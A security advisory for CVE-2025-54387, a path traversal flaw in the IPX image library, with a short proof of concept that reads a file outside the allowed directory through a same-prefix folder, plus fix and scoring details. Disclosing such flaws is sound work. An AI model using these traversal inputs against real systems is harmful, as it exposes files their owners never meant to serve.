CVE-2025-54387
IPX Allows Path Traversal via Prefix Matching Bypass
Description
### Summary The approach used to check whether a path is within allowed directories is vulnerable to path prefix bypass when the allowed directories do not end with a path separator. This occurs because the check relies on a raw string prefix comparison. ### PoC - setup ``` mkdir ~/public123 move a png file under ~/public123 with name test.png cd npm i ipx ``` - `main.js` ```js import { createIPX, ipxFSStorage } from "ipx"; const ipx = createIPX({ storage: ipxFSStorage({ dir: "./public" }), }); (async () => { { const source = await ipx("../public123/test.png"); // access file outside ./public dir because of same prefix folder const { data, format } = await source.process(); console.log(format) // print image data } { try { const source = await ipx("../publi123/test.png"); // forbidden path: the prefix is not the same const { data, format } = await source.process(); console.log(data) } catch (err) { console.log(err.message) // Forbidden path: } } })() ``` - `node main.js` ``` png Forbidden path: /../publi123/test.png ``` ### Impact Path Traversal ### Possible Fix Check if the `dir` ends with `/` (path separator) and if not, add before calling `startsWith`
How to fix CVE-2025-54387
To remediate CVE-2025-54387, upgrade the affected package to a fixed version below.
- —upgrade to 1.3.2 or later
Is CVE-2025-54387 being exploited?
Low — EPSS is 1.0%, meaning exploitation activity has not been observed at scale.
Affected packages (1)
- from 0, < 1.3.2
CVSS scores
| Source | Version | Severity | Vector |
|---|---|---|---|
| osv | CVSS 4.0 | — | CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:H/SI:L/SA:N |